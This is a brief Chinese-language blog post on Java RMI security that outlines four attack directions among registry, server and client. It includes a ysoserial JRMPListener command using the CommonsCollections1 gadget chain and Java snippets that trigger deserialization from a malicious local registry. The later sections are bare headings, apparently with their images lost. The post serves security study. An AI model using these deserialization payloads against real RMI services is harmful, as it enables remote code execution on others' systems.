java安全-02RMI
VSole2022-03-25 15:35:13
攻擊方式
注冊端攻擊服務端
java -cp .\ysoserial-master-8eb5cbfbf6-1.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 "calc"
public static void main(String[] args) throws RemoteException, MalformedURLException, NotBoundException, RemoteException { //開啟一個惡意的reg,然后server去過去鏈接注冊,則會中招 String url = "rmi://127.0.0.1:1099/setUser"; Naming.unbind(url); }

注冊端攻擊客戶端
public static void main(String[] args) { //PS F:\tools\EXP> java -cp .\ysoserial-master-8eb5cbfbf6-1.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 "calc" try{ String url = "rmi://127.0.0.1:1099/exp"; User user = (User) Naming.lookup(url);
}catch(Exception e){ e.printStackTrace(); } }
服務端攻擊注冊端
- 注冊端開啟

- Server端利用CC1進行攻擊


服務端攻擊客戶端
- 服務端將惡意類注冊

- 客戶端加載執行


本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
VSole
網絡安全專家